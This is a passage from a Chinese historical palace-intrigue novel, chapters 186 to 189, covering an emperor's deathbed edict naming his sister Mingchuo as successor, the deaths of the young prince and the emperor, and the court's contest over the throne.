挣扎,他不至于花那么多力气。谢运艰难地试图回头,但那人用手肘抵住了他的后颈,不让他动。谢运僵了一下,终于认命似的苦笑了一声:“仲宁……”
“住口。”袁綦那两个字像是从牙缝里挤出来的,带着他自己都没想到的怨恨和失望。
更多的脚步声在殿中响起,然后是谢星娥凄厉的尖叫,但非常短促。执金吾卫不再给她留情面,大概是打了哪里,让她迅速收了声。她软倒在地,被执金吾卫拖了出来,但一只手仍旧往殿里伸,脖子里的青筋一根根地绽出来,痛到只有泣血般的嘶声:“稷儿……!稷儿!”
明绰意识到了什么,惊恐地看了一眼罗帐后面那个小小的身影,却不敢站起来去确认,只能转回头来看着萧盈。
“你做了什么?”她问萧盈,声音很轻,怕惊动了什么似的。
萧盈没有回答。诸位朝臣这才接连跟了上来,桓廊一把年纪,反而是在最前面,倒是姜川,因身体胖大,跑得连呼带喘,其余的也没好到哪里去,都目瞪口呆地看着眼前的一切。这么多人,还有进门的执金吾卫,一下子就把整个含清殿都挤得无处落脚。
方才文英殿外一片骚动,崔挺突然带着执金吾卫出现,一举把“长公主安排的”的那些人都拿下了。桓廊带头跑出来的时候眼睛都在放光,以为陛下终于幡然醒悟,意识到了长公主的野心勃勃,可是进来了,却只看见谢维父子被摁在了地上,好像还是长公主下的令。桓廊何等眼力,立刻就看出来了是怎么回事,一时脸色难看地僵在那里。他不说话,那些没明白怎么回事的就更不敢说话了。
萧盈也不说话。
明绰只好深吸了一口气,扬起声音:“太医令!”
卞弘艰难地挤开了朝臣,站出来应声:“臣在!”
“进去看看,”明绰的眼睛自始至终没有离开萧盈,“建安王怎么了?”
卞弘不敢耽搁,赶紧掀开帘帐进去。萧稷刚才是被强行从母亲怀中拽出来的,此刻正以一个极其不自然的角度倒着,头磕在了地上,腿脚却还在床上。旁边守了一个执金吾卫,却不敢碰他。这执金吾卫显然已经明白眼前是一具尸体,只是不敢说。卞弘一看这情形,心里也是一凉,连摸脉都成了自欺欺人——萧稷幼小的身体都开始发硬了。
他给那执金吾卫使了个眼色,让他帮着把建安王扶得体面些。外面隔着罗帐,已经看清了他们的举动,再加上废后谢氏一直在哭叫,已没人不明白了。
卞弘走出来,跪到了萧盈和明绰面前,徒劳地试图压低声音:“长公主,建安王……殇了。”
明绰顿时觉得无数道目光同时射到了她的背上。
桓廊按捺不住:“陛下,此事……”
萧盈终于表现出了说话的意图,但他实在太虚弱了,提起一口气却没发得出声音。桓廊立刻住了口,跪下来膝行两步,想挨得近一些,生怕错过了他一个字。李俦也赶紧去准备纸笔,整个含清殿里一片肃静。
“谢氏谋逆,”萧盈终于吐出来几个字,省着力气,说得很简单,“致建安王夭折……诛族,不赦。”
桓廊的心思转得最快,立刻道:“陛下,臣这就带人去接平阳王……”
但是萧盈摇了摇头:“萧秧不堪大任,众卿……莫作此念。”
桓廊愣在了那里,不明白他是什么意思。建安王没了,平阳王“不堪大任”,宗室无人,这皇位还能传给谁?
萧盈笑了笑,突然招了招手,让桓廊过来。明绰稍稍让出了一点位置,萧盈伸出手,一把摁住了桓廊的肩膀。
“秧儿不姓萧,我也不姓萧。我们都不能坐这个位置……谢氏的谋逆非在今日,而在……三十六年前……”
桓廊惊得伏低了头:“陛下!”
殿内当即跪了一地,连李俦都抛下了笔,根本不敢记萧盈要说的话。萧盈扫了一圈,突然朝着袁綦点了点头。他制住了谢运,那份被丢在地上的诏书离他最近。袁綦明白了他的意思,把诏书从地上捡了起来,恭敬地重新卷好,自己看也不敢看,双手捧着,送到了萧盈手上。
但是萧盈没接,他偏了偏头,示意袁綦把诏书给明绰。
“朕忝居帝位,三十有六载……到此有终。”萧盈喘了口气,每个字都说得非常费力。他本来还准备了一大篇话,这个时候应该有李俦在记的,所以他应该再反省反省自己为政的过错,写到史书上,好给明绰铺铺路……可是他真的没有力气了。他看着明绰,笑了笑,像是希望她谅解自己最后的无能为力。
“今日,还位萧氏。着镇国长公主萧明绰,即皇帝位。”
第187章
含清宫里有片刻的寂静,然后突然爆发出了一声无比尖利的怪叫。谢星娥突然像头母狮子一样冲向了萧盈,明绰想也没想就用自己的背挡在萧盈身前。可是谢星娥身边还有执金吾卫,她根本没能够接近萧盈,只是在混乱中带翻了殿中封好的碳炉,烧得正烫的碳滚落出来,站得近的都赶紧往后退了几步。
“你为了她……”她声声泣血,“你为了她,连自己的亲骨肉都可以下手!”
萧盈无力地在明绰肩上拨了一把,自己面对着孩子的母亲。谢星娥看着他的眼睛,竟然看不到一丝一毫的痛心和愧疚,她就在那一刻突然没有了声音,被拉扯着,无力地跪倒在地。
“我十二岁就做了你的皇后……我做了你一辈子的皇后……哈哈!”谢星娥摇了摇头,鬓发散乱下来,被泪水沾在颊边,“萧盈,”她唇角扭曲,露出了一个森然的笑容,“你不得好死。”
她本已软倒在地,所以连执金吾卫都没有想到她会突然往前一爬。可她不是为了去行刺萧盈,而是一把抓起了地上一块发红的热碳,然后毫不犹豫地吞了下去。
明绰下意识低呼了一声,萧盈立刻掩住了她的眼睛。谢星娥甚至没有叫得出声音,痛苦无比地在地上挣扎起来,一股可怖的焦味迅速在殿中蔓延。
“还愣着干什么!”桓廊还是第一个反应过来的人,“把人带下去!”
谢星娥还没死,但已经挣扎不动了。两个执金吾卫上前端住了她的手脚就往下抬,谢维父子也被一起摁着,押了下去。
桓廊这才一拱手:“陛下!此诏不可行!长公主怎么能即皇帝位呢?!”
他这一提,所有人才都从方才的震惊里回过神来,不少人都争先恐后地附议起来。明绰抓着萧盈的手往下,露出了一双瞪大的眼睛,难以置信他们对这样的惨事都能够如此面不改色——废后吞碳算什么?输家怎么死都是应该的,最后的赢家却还没有定论呢,其余都是细枝末节,不值得浪费时间。
现在唯独要紧的,是到底由谁即位。桓廊在一瞬间就改换了阵营,再次坚持要去接平阳王来——萧秧娶的是袁氏女不错,但袁增毕竟已经死了,袁家两个小的,桓廊自问还是对付得来。反正谁都比长公主强!
他挨得最近,咄咄逼人的神态尤其清晰。萧盈强撑着,又把原先的理由一条一条搬出来。萧秧心智不全,难堪大任……萧秧牵涉在大将军的案子里,德行不全,不能即位……可是桓廊根本不听。萧盈很快就没有了力气,只能靠在明绰身上。他闭着眼睛,好像桓廊口中突出来的是实实在在的利箭,他无力反抗,只想避一避。
明绰感觉到他依靠过来的体重,看着桓廊的脸,突然像回到了很小的时候,她坐在太极殿上,桓廊也是这样咄咄逼人,恨不得要把唾沫星子溅到她和母后的脸上——他眼下甚至在为谢氏辩解。没有什么谋逆,陛下就是怀帝亲生,此事多
年前就有定论。如今谢维父子的恶行都是长公主指使,为国安定,应该立刻将她诛杀……
说着说着,桓廊甚至亲自抓住了明绰的手腕。萧盈睁大了眼睛,无力地抬起手,想制止。下一刻,袁綦整个人挡到了明绰身前,把桓廊的手指掰到几乎要反折过去。
桓廊吃痛,又不肯叫,只能咬牙切齿地跳脚:“袁綦!你老子的罪还没算清楚呢,袁氏也要造反吗!”
袁綦:“陛下亲口下的旨意,诸位都听见了,诏书也在这里,还有什么不清楚?到底是谁在抗旨,谁想造反!”
桓廊:“你!”
更多的声音一起响了起来。于法理上,这道诏书名正言顺,从来没有哪条大雍律说过女子不能即皇帝位——但这种事还要写进律法里吗!女子不能即位,这是天经地义的事情啊!有儿子在,却要传位给妹妹,实在是亘古未有之事,在场的无论是不是长公主的人,都觉得不能如此,但又说不出来为什么不能如此。吵来吵去的,全是一些车轱辘的废话。
明绰一句也没往耳朵里听,她只看着萧盈,然后她轻声道:“出去……”
桓廊:“你……”
“令君,我求求你……”明绰转过头,眼泪不受她控制地往下落,她像个无能为力的小孩子,忘了她手里有如何滔天的权势,忘了她可以指挥千军万马——千军万马能留住萧盈吗?
出乎她意料的是,桓廊突然在她的眼泪里沉默了,然后他看了一眼已经无力睁开眼睛的萧盈,犹豫了片刻,竟然再没有多说一句,起身行了一礼。不少人跟着桓廊行事,纷纷起身,然后是忠于长公主的人。卞弘本想留下,可是看到萧盈这个样子,他也只有含着泪,躬身离开,把最后的时间留给长公主。
萧盈好像感觉到了什么,突然挣扎着睁开了眼睛,叫了一声:“伯彦……”
袁煦落在最后,听到他呼唤,马上跪下来,膝行两步,到了萧盈面前。萧盈伸出手,想抓他的袖子,又抓不到,袁煦一把握住他的手,再也没控制住,抽噎出了声音。
“我会把……你父亲的爵位还给你……”萧盈试图坐直,“你……别怨我……”
“我不怨。”袁煦泪落了满脸,在很多年里第一次忘记了君臣之间的尊称,好像他们还是曾经在校场里勾肩搭背的少年,“你再撑一撑……”
“撑不动啦。”萧盈摇了摇头,想挤出一个笑,“你就帮帮她……看在……”
他没力气往下说了。到底是要袁煦看在她与袁綦到底是夫妻的份上?还是看在曾经生死相托的情分上?
萧盈握紧了他的手,眼里也流出了一行泪。君臣知己走到今日,哪怕他们对彼此都有某种失望,萧盈也找不到第二个人可以如此相托了。明绰说得对,他一直都是他唯一的朋友。
袁煦跪在地上,已经泣不成声,肩膀颤动着,最终也只吐出来三个字:“你放心。”
萧盈便出了一口长长的气:“多谢。”
袁煦抬起袖子,在脸上抹了一把,躬身行了一礼,退了出去。萧盈完全倚靠在明绰的怀中,攒了攒力气,又道:“桓廊必有动作,你去……去……”
明绰紧紧抱着他,只道:“我哪里都不去。”
萧盈便也不说了,从明绰怀里抬起了脸,认真地看了她一会儿。明绰努力地想笑一笑,可是她笑不出来。萧盈看着她落泪,轻声地叹了一句:“为什么要死的是我?”
明绰再也没有绷住,只觉得整个人都被什么东西撕成了两半,一半的她紧迫地想说些什么,她还有好多话没跟萧盈说,另一半又不想动,只想这样和他无言地相拥,让时间静止。她紧紧地抱着萧盈,说不上到底是谁依靠着谁。萧盈就把手抽出来,努力地环住了她的肩膀,宽慰似的拍了拍。
“没关系的,你想想乌兰徵……”萧盈低声道,他好像突然有了几分力气,话说得连贯了一些,“没了他,你也好好地过到今天了。没我也是一样的。”
“不一样!”明绰耍赖似的,只能重复地喊,“不一样!”
萧盈的嘴唇动了动,扯出来一个苦笑:“你这样哭,我怎么放心走……”
明绰只有停不下来的眼泪。其实她早就做好准备了,不是吗?萧盈太虚弱了,活着对他来说,早已只剩下折磨。非要留下他,也很自私,不是吗?她应该宽慰他,让他平静地离开,可是她做不到,她真的做不到。
萧盈的声音变得很轻:“我答应了她,要把这一切都还给你……”
明绰一瞬间就明白过来他在说谁。
“我让她把稷儿带走了……她是不是就能原谅我了?”萧盈有些不好意思似的,想扯出一个笑,但露出的却是极其委屈的神情,“溦溦……我好怕过去那边又见到她……”
明绰重新抱紧他:“别怕……”
“真的很疼……”萧盈诉苦似的,“但不能不喝……灵芝看着,不能不喝……”
“不喝了,”明绰摇着头,“再也不喝那个药了……”
“母后……”萧盈叫了一声,好像已经分不清人了,“我都听你的……”
他突然又有了几分力气,简直要站起来了。明绰不得不死死地抱着他,看着他发癔症一般,一直在对着虚空里的谢拂霜说话。可是语无伦次,根本没有逻辑。一会儿说他不敢了,一会儿又拉着明绰的手说他没有,他真的没有……要怎么样才能信他?
“我没有给她下毒,溦溦……”萧盈哀求着,又抱紧她的腰,脸抵在了她的胸口,说什么也不肯放手,“你别生我的气,别去嫁给乌兰徵……我什么都给你!”
明绰任他抱着:“我不去了。”
“真的吗?”
明绰点点头:“真的。”
萧盈隔了一会儿才抬起了头,看着她,突然又想起了这二十多年里的所有事。
“溦溦,”他又问,“来生你还愿不愿意再遇见我?”
明绰说不出话,只能点点头。萧盈笑了笑,似是放心了,但又叹了一声,只道:“可是做人不好。做人太苦了……”
“那我们去做两棵树
,两朵花,”明绰哄着他,“或者一对鸟……”
“也好。”他闭上眼,“那我就……先去做一只燕子……”
明绰抚着他的鬓角,问他:“为什么是燕子?”
“阿娘叫我燕奴,我本就该是一只燕子……”萧盈握着她的手,“燕子年年都会飞回来的。以后你看见燕子,就知道是我回来看你了。”
“好。”明绰点了点头,“我等你。”
“你还记不记得……”萧盈顿了顿,又说,“那年你陪着我,我们去看……东长巷尾的燕巢……”
“我记得。”
萧盈便又沉默下去。明绰抱着他,这次他沉默了好久好久,久到明绰以为他再也不会回答了,他才终于吐出了最后一句话。
“我好想她。”
萧盈从胸中吐出了最后一口气,再也没有说话。有那么一段时间,他就像睡着了一样。明绰抱着他的上半身,轻轻地晃着,让他睡得更安稳,好像他是她的孩子。这真是比她预想中的要好很多了,她以前以为,萧盈会在发病的痛苦中狼狈地离开。可是老天放过了他,他终于不痛了。
明绰轻轻地把脸贴到了他的脸上,叫了他一声:“燕奴?”
他不回答了,明绰也闭上了眼睛,不肯撒手。她现在应该走出去,告诉等着的朝臣,天子驾崩。平阳王府要解禁,至少萧盈的床前要有儿子来哭一哭……不对,在此之前要先封禁皇宫,不能让桓廊通报消息。他必会让桓湛去调兵,明绰应该立刻通知桓宜华……
明绰就这样想啊,想啊……突然觉得好累。在看到这封诏书以前,她其实没有想过要那个位置——至少不是现在。可是萧盈推了她一把,她意识到自己脑子里想的竟然全都是要如何争取。所以萧盈没做错,她就是想要那个位置,稷儿现在不死,她也早晚是要下手的。可他又留下了秧儿,万一袁煦想帮女婿呢?——万一桓宜华也要帮女婿呢?
明绰察觉到了内心突然升起的恐惧,突然之间所有人的面目都变了,谁都不可信了。太极殿上的金漆被她的手指剥下来,木刺扎进了她的指尖。萧盈留给她的原来是一个关于孤独的诅咒。
“你怎么这样?”明绰问他,很责怪的语气,“谁问你要了?”
萧盈面容平静地躺在她的怀里,任她指责。
她跟自己点了点头,又确认了一遍。他真的走了。她年少时爱过的第一个人,爱了一生的人,说过绝不会原谅的人……真的走了。他让她想想乌兰徵,想想没有了乌兰徵的日子,她也好好地过下来了……可是明绰却因此更加恐惧。就是因为她知道,失去他就是失去自己的一部分,她还是活着,但是往后余生的每一天,她都要面对一个缺掉了的自己。而这个世上,她只有这个残缺的自己了。
“别抛下我,”她轻声道,“我害怕。”
可是萧盈没有回答。他最终死在了她三十六岁的那一年,后来再也没有燕子飞回过她的春天。
第188章
第一声哀鼓响起的时候,敬漪澜突然睁开了眼睛。
平阳王府离皇宫不远,那鼓敲起来低沉,如平地炸响的惊雷,一瞬间震碎了房间里无声的等待。坐在敬漪澜身边的是桓宜华,她没忍住站了起来,两人对视了一眼,心照不宣地在心里数了数,一、二、三……然后又是一声,“咚!”
敬漪澜突然狠狠地吸了一口气进去,桓宜华伸出手,与她交握着,她们仍是没有交谈,直到意料之中的第三声哀鼓远远地传来。
敬漪澜面无表情地睁着眼睛,在她还没有意识到的时候,一行泪便从眼中坠了下来。桓宜华似是想要安慰一句什么,可是敬漪澜只有这一行泪,流完了也就没有了。她们俩你看看我,我看看你,眼里都是同样的问题——接下来怎么办?
早些时候明绰来过,但她只在府外与守着的执金吾卫说了几句,就脸色大变,转头进了宫。敬漪澜和袁韶音都不能出内院,是桓宜华出去问了一句,那执金吾卫说长公主下令解了平阳王的禁,但他不敢从命,想等宫里的意思。长公主看起来匆匆忙忙的,也根本没功夫跟他争论什么。
可是现在宫里只传来三声哀鼓。
袁韶音也从外面走了进来,同样的无措紧张:“那是……?”
敬漪澜迅速地抹去了那行泪,回答得无比平静:“陛下驾崩了。”
袁韶音轻轻地掩住了唇。很难说她对此感到意外,但也确实不知道应该怎么反应。按说这个时候平阳王应该在含清宫聆听遗训,可是直到最后一刻,陛下也没有解他的禁。被关了这么久,袁韶音心里早就方寸大乱,只能看着两位母亲。
“即位的……”她试探着,“是建安王?”
她话音未落,外面突然传来了急促的马蹄,听起来人数不少。三个女人都吊住了一口气,听到外面有人在喊:“天子驾崩!传平阳王即刻入宫!即皇帝位!”
桓宜华第一个听出了这个年轻的声音:“睿儿?”
这是桓湛的儿子,她的侄子,桓睿。
好几个人骑着马绕着平阳王府转了两圈,高声地把这几句话重复了几遍,这才停在了门口。门口的执金吾卫都已经听见哀鼓,再加上桓睿手里高举诏书,谁也不敢阻拦,纷纷跪地。
桓睿长驱直入地进了正厅,看见萧秧端坐庭中,撩袍就跪:“陛下!万岁,万万岁!”
萧秧一下子就站了起来,不肯受他的礼。桓睿根本没有跟他接触过,哪里知道他的脾性,虽然嘴里称陛下,实际还是十几岁少年人的莽撞,根本也没规矩,伸手就想抓他:“陛下!快随我入宫吧!”
“睿儿!”袁韶音就在这个时候跑回了正殿,赶紧从桓睿手里把萧秧拉回来,护在了身后,小声道,“你别这样吓他……”
桓睿不明白了:“我岂是吓他……诶?姑母!”
他转过脸,正看见桓宜华和敬漪澜一起走了进来,又说了一遍:“叔祖让我来接你们,赶紧……”
桓宜华听见“叔祖”二字就皱了眉,桓睿的话还没说完,她就一把从他手里夺过了那封诏书,展开便看。
诏书字迹缭乱,明显是匆匆写就。但再潦草,桓宜华也认出了桓廊的笔迹,她直接跳到了最后,发现诏书后面并没有盖国玺。敬漪澜也把头伸过来,同样第一眼看到了那片不同寻常的空白,两人飞速交换了一个眼神,那一瞬间似是都明白了什么。
桓宜华抬起头:“你父亲呢?”
少年人毫不设防地回答她:“父亲出城调兵了。”
敬漪澜的手搭在了桓宜华的手背上,微微用力,捏了捏。
桓睿看了看姑母,又看了看表姐,他实在不明白她们为什么都是这个表情——然后他才想起来,陛下驾崩了,怎么也是件举国悲痛的事情,是不能表现得太高兴了。
门外第二次传来了一片骚乱的声音,似是有人想进门,却被拦住了。桓宜华马上看了桓睿一眼,但是他一副若无其事的样子。
“姐……”他还跟小时候一样称呼袁韶音,然后才反应过来,马上改了口,“皇后,快随我入宫吧,门外都等着呢。”
敬漪澜终于上前一步,拦在了小辈面前:“少将军稍候,容我带秧儿下去换身得体的衣裳。”
这个请求很合理,桓睿点了点头,知礼地退了一步。桓宜华就在这个时候突然转身往外走,桓睿脸色一变:“姑母!”
但是桓宜华根本不理他,走得大步如飞。门口的人已经看见了她,扬声急叫道:“阿嫂!”
桓睿伸出手,想拽住她:“姑母!”
“放开!”桓宜华愤愤地一甩袖子,提着裙摆飞快地跑出去。袁綦只有一个人,被桓睿带来的人架得动弹不得。这些人也都是桓湛麾下,袁綦的军衔其实要压过桓湛,所以他们不敢把袁綦怎么样,只能用很笨的办法拖拽他,不让他进去。
桓宜华一边跑一边喝:“住手!都给我住手!”
那些人都让桓宜华喊得一愣,袁綦立刻抓住机会,挣了开去。桓宜华已经跑出了府。桓睿倒是没有拦她出去,桓宜华不欲与他们正面冲突,拉着袁綦往外多走了几步,才压低了声音问他:“怎么回事?”
袁綦一句废话都没有:“陛下遗诏,传位给明绰了。”
桓宜华一下子瞪大了眼睛,一时没有说得出话来。
袁綦:“桓令君不认,纠集台部重臣另拟诏书,要……”
桓宜华抬了抬手,示意他不必往下说了。她明白了。
袁綦便顿了顿,又道:“阿兄也去调兵了。”
陛下临终口谕,还了袁煦的兵权,他如今是新任的武灵侯——但此事还没有来得及昭告天下,袁氏兄弟今天早上还在廷尉大牢里呆着呢,袁煦此刻去调兵,所能仰仗的就是他这么多年在军中的威望。旧部们愿意信他,就跟着他走,不愿意的,就会当他是谋反。
桓宜华一瞬间就下了决定,推了袁綦一把:“你去帮他!”
袁綦一愣:“可是……”
可是明绰让他来平阳王府,无论如何要制止萧秧被桓氏带入宫。
桓宜华回头看了一眼,桓睿带来的人明显更多。敬漪澜已经带着萧秧走了出来,桓睿跟在他们身边,那姿态与其说是奉迎,不如说是押送。
平阳王府的车马就在影壁边上停着,萧秧夫妇先上了车,然后是敬漪澜。她爬得高了一些,得以越过府门前站得密密麻麻的人,朝桓宜华看了一眼。只是一眼,两个女人就都明白了该怎么做。
桓宜华迅速跑到了府门前牵马处,值守的执金吾卫也留着一匹马,以备不时之需。她两下就解开了绑在石头上的缰绳,袁綦下意识想扶她,但是桓宜华根本都没察觉到他伸过来的手,已经身形利落地翻身上马,控住了马头。
“你快去和伯彦汇合,你们兄弟二人一起出面,能调动多少人就调多少人……”桓宜华语速飞快,说到这里又突然哽了哽——然后呢?对面是桓湛,真要打起来,都是她的血亲骨肉。她这么做,到底是在选谁?她曾经的丈夫?她的女儿和女婿?还是她的兄长和娘家?
桓宜华稳了稳心神,强行把这股哽咽压了下去。夫妻和离,她已不必再做袁家的妻子。女儿成人,她也不必再做王妃的母亲。早已出阁,她更不必再做桓家的女儿……现在她只是桓宜华,她选择的是明绰,她自己的朋友。
桓宜华承诺什么似的:“我去拦住阿兄。”
袁綦一把勒住她的马头:“不行,你一个人……!”
“我拦得住!”桓宜华声色俱厉地打断了他,催道,“别浪费时间!快去!”
袁綦退了一步,看着桓宜华毫不犹豫地拍马而去。那些骤然失去了职责的执金吾卫就只是眼睁睁看着她骑走了马,谁也不知道该不该拦。袁綦咬了咬牙,再没有一刻耽搁,也翻身上马,疾驰而去。
载着
平阳王一家的马车缓缓地从王府驶出,被桓睿的人马簇拥着,往皇宫而去。
明绰还坐在含清宫里,没有挪过位置。
最开始进来的是任之,他费了很长很长的功夫才终于说服明绰放开陛下。一开始还是很小心翼翼的语气,后来都急了。明绰好不容易才从他的哭腔里听明白他在急什么——人死了,过不了多久就会硬的,那就换不上衣服了。一会儿百官都进来,可怎么好呢?陛下是一国之君啊,他身后也要体面的。
明绰这才怔怔忡忡地放开了怀里的人。但她还是不能理解,萧盈身上甚至还是有体温的,为什么任之谈起来的口吻,他已经只是一个物件了呢?但她也没有阻拦,让任之和几个小黄门一起把萧盈放进了已经准备好的浴桶里。
“长公主……”任之劝了她一句,不希望她看。可是明绰没有动,她从很早以前就已经不怕尸体了。
沐浴完以后,卞弘就带着太医署的医官们进了殿。他们已经处理完了建安王的尸身——废后还没有死,但应该是救不活了。卞弘把这话告诉她,但她就像没听见一样,一点儿反应也没有。此时萧盈已经被重新抬到了床上,医官们掏出了各式各样的玉器,开始往萧盈的各个孔窍里塞。明绰就在这个时候突然背过了身,再也看不下去了。
鸿胪寺和太常寺的礼官也来过了,跟长公主汇报了陛下生前的指示。他病得太久了,这些事情他早就已经想得清清楚楚,也安排得妥妥当当。明绰这才知道,萧盈生前就已经交代过这些礼官,他不入萧氏的宗庙,不受香火祭祀。史官对他客气,那就算他对大雍有功;后人若是觉得他是僭伪,要将他完全从史书中抹去,他也不在乎。
明绰听到这里就打断了太常卿的话。
大雍到怀帝一代已是穷兵黩武,是在景平一朝这三十多年里才重新丰盈国库,强盛国力,萧盈是中兴之主,庙号应该是中宗。明绰让太常卿带着礼官下去,再拟谥号来让她批。
太常卿下去了。但是阴青蘅不多时就来报,说太常卿被尚书令截下了。桓廊说,陛下既入宗庙,那就是萧氏子孙。既然认了陛下的身份,从法理上讲,平阳王的继承顺位要在长公主前面。那长公主就没资格给陛下定庙号,中宗不行。他要定“仁宗”,以昭陛下多年宽政惠民之德。
这些话都不是桓廊来亲自跟她说的。桓廊带着他的人直接去了太极殿,而忠于长公主的朝臣们则又分成了两派,一派觉得长公主究竟是女子,称帝实在荒唐,不然就拥立平阳王好了,还是长公主摄政嘛,所以摇摆不定地留在了文英殿;只有极少数,如姜川,愿意拥戴长公主登基,此刻就在含清宫外的阶下候着。
这个时候,明绰早已把袁煦、袁綦兄弟派出去了,她也知道,桓廊也已经动手了。桓廊提出要进殿守丧哭灵,但是明绰没有允许,只有一些态度相对中立的在两头传话。他们从萧盈的庙号吵到山陵的选址,其实都是在拖延时间。
但崔挺此时就守在司马门。太极殿叫他他不去,含清宫宣召也不应。平阳王心智不全,长公主又是女子之身,崔挺选不出来,只能躲在对萧盈的忠心背后,摆出“随你们争,争出了新帝我就认”的态度。可是执金吾卫严阵以待,谁今夜敢先动兵马闯宫,崔挺一视同仁,绝不会客气。
夜慢慢地降临了,明绰还是守在萧盈的床边没有动。
现在他们已经处理完了,萧盈穿着大殓之衣,体面是体面了,可那层层叠叠的,穿得实在是太多了,就更显得他瘦,像是被那些衣服埋在下面了。
从小,萧盈就是明绰所知道的最好看的男人。后来太亲近了,反而已经感觉不出来他是好看还是不好看。只有这会儿,才清清楚楚地看到病痛已经把他折磨成了什么样子。她看久了,感觉根本不认识躺在这里的这个人。这个认知反而让她心里好受了很多,好像找到了一个借口,否认了萧盈的离去。
阴青蘅又走了进来:“长公主,平阳王到了。群臣在阶下求见,要进来为陛下哭灵。”
哦,袁綦到底没有拦住。明绰仰起了脸,不知道该作何感想。那一瞬间,那个可怕的念头再一次从她心里闪过。也许不是袁綦没有拦住,而是她信错了人,袁煦还是选择了自己的女婿……但她很快把这个念头压了下去,低下头,做了几个深呼吸。
萧盈在谢氏的刀光下如履薄冰地长大,也没有变成很多疑的人。君王越是猜忌,说明心里越是恐惧,恐惧就会让
人软弱。这个道理谁都明白,但只有真的到了这个位置上,才明白这种“不疑不惧”有多难。明绰看着眼前已经沉睡的人,竟然比从前任何时候都理解了他的内心。
萧盈从来不怕。她不知道他那种强悍是从哪里来的,但是此时此刻,她突然感到,她还是被他保护着。
明绰站了起来,平静地理了理自己的裙摆:“让他们进来吧。”
第189章
群臣得令,依次进殿。榻前罗帐重重,只令众人遥望而哭,成全帝王最后的体面。
跪得最近的,便是平阳王。
萧秧从来不是一个会用寻常的方式表达情绪的人,尤其是那么多人盯着的情况下,他根本什么都不会说。明绰站在一边,看着萧秧面无表情地跪在罗帐外,起码已经跪了两刻钟了,还是一滴眼泪都没有。
桓廊跪在他身后,脸色已经是越来越难看。
没有眼泪,显得他痴呆还在其次,更忌讳的是不孝不敬。先帝驾崩,继位者如何反应,每一个细节都是要进史书的,这种时刻,正常人就是演也得演出点悲痛欲绝来。他这幅样子,岂不是应了“心智不全、德行欠佳”吗?
桓廊本来是想着,只要看见平阳王,没有人会选择一个女人的,谁知道现实完全反了过来。桓廊已经能感觉到很多人正以袖掩面,边哭边彼此交换着眼神——先帝说得果然没错,平阳王就是不堪大任,还不如长公主。
明绰不欲为难萧秧,上前了一步,伸出手,想扶他起来。
萧秧抬起头看着姑母,想起了在府中“更衣”时母亲对他说过的话。明绰的手已经托到他肘下,但萧秧还是跪着,没有起来,反而退了半步,恭恭敬敬地朝她行了个礼。
他身后群臣那些或真心或场面的哭声马上停下,殿中鸦雀无声,所有人都死死盯着。
萧秧还是沉默着,从袖中取出一封诏书,双手奉给了明绰。桓廊马上急切地往前凑了凑,连明绰都有了一瞬间的怔愣,不知道萧秧这是什么意思。
桓廊抓住机会,突然带头喊了一句:“请平阳王顺应天命,克继大统!”
有好几个人下意识地跟着喊了,但稀稀拉拉,底气不足的样子。更多的人只是伸着脖子,想看平阳王到底要干什么。这场面实在有点儿太诡异了,平阳王看起来也不像是要拿这封诏书来宣称自己即位的合法性。
他甚至跪在长公主面前,还没起来呢。
“秧儿……”明绰叹了口气。她不想跟萧秧走到这一步,至少不是在萧盈刚咽气的床前。
萧秧很平静:“这是矫诏。”
明绰眼皮剧烈地一颤,看了他好一会儿,才敢确认他是什么意思:“你是说……”
“没有盖印,这是矫诏。”萧秧又清清楚楚地说了一遍。
桓廊一下子站了起来:“你!”
萧秧的脖子抽了一下,他感觉到了桓廊施加过来的压力,这让他非常不自在,又不愿意说话了。袁韶音立刻站出来,高声道:“平阳王绝无僭越之心,这是有人矫诏构陷,请姑母明察!”
桓廊转过脸,瞪着她,难以置信的神情。世上怎么会有这种事?竟会有人主动把皇位往外推?
“你……”他指着袁韶音,一脸的激愤,“你也算是半个桓家女,你怎么……”
袁韶音看也不看他,已走到了萧秧身边,和他并肩跪在了一起。但两人都不再是跪床上的先帝,而是朝着明绰。萧秧感觉到了袁韶音悄悄伸过来的手,在广袖的掩饰下与他相扣,终于重新稳住了心神,把母亲教给他的话一字一句地说出来:“姑母,父皇遗诏在哪里?”
明绰还是看着他,唇边轻轻一勾。阴青蘅立刻会意,主动请出了那份盖过了玺印的遗诏,双手捧着,送到了平阳王面前。萧秧拿起来,展开看了一眼——真的就只是展开、一瞟,就点了点头。
“这是父皇的笔迹。”萧秧说得清清楚楚,让群臣每个人都听见,“是大雍的国玺。”
桓廊睁大了眼睛,眼睁睁地看着萧秧双手将那封遗诏高举过头,朗声道:“请姑母顺应天命,克继大统!”
他重重地把头磕了下去。有他带头,含清宫内的重臣纷纷伏身磕头,桓廊转过身,看着同僚们低下去的脖颈,突然伸长了手臂,瞪着眼睛喊:“你们疯了吗!”
王勤心有不忍,想拽住他的袍角,劝他赶紧跪下。但是桓廊狠狠地甩开了他,脸上是近乎疯狂的激愤:“一个女子——”他指着明绰的脸,眼珠子几乎要从眼眶里瞪出来,每说一个字,脸上松弛的皮肉就剧烈地颤一颤,“一个女子!”
他气到说不出话来,几位尚书郎都站起来想劝,桓廊抄起手里的笏板就打,恨道:“你们这些小人!懦夫!难道要眼看着大雍国祚断绝,来日落入蛮夷手中吗!你们还是不是男儿!有没有一点骨气!啊——”
许多人被他这样一骂,面上也有羞惭之色。确实,女子即位,最要紧的还是无后一事,若日后真要传位给乌兰晔,那可……
这一刻,桓廊想的已经不再是桓氏一族的宠辱,他真心实意地,为了国家而狠狠地捶了捶胸,大放悲声:“天要亡我大雍啊!”
更多的人站起来,手忙脚乱地想劝,桓廊挣得头上的冠都散了,涕泪横流。明绰就只是看着,一言不发。王勤见势不好,赶紧膝行着往前爬了几步,劝道:“长公主,不然就先立平阳王为太子,以免……”
明绰冷冷地垂头看了他一眼,王勤猛地住了口,背上猛地出了一层汗,马上把头磕下去:“陛下!臣是说……”
“以免什么?”明绰问他,“以免南朝的江山落到‘蛮夷’手上?”
王勤汗如雨下,口干舌燥。明绰抬起头,环视了一圈群臣,又问了一遍:“是不是我得保证,以后绝不会传位我儿,你们才会认先帝的遗诏?”
桓廊叫不动了,气得在原地剧烈地喘气,满脸的泪痕。没人敢说话,但不少人脸上的神情都挺明确的,他们就是希望长公主做这个让步。
又有人壮着胆子出了声,不是平阳王也行啊。怀帝那一代的藩王虽然都被杀绝了,但再往前数,孝文皇帝那一代可没那么多乱子,去民间找找,总还有各地藩王的后人,只要是姓萧就行……
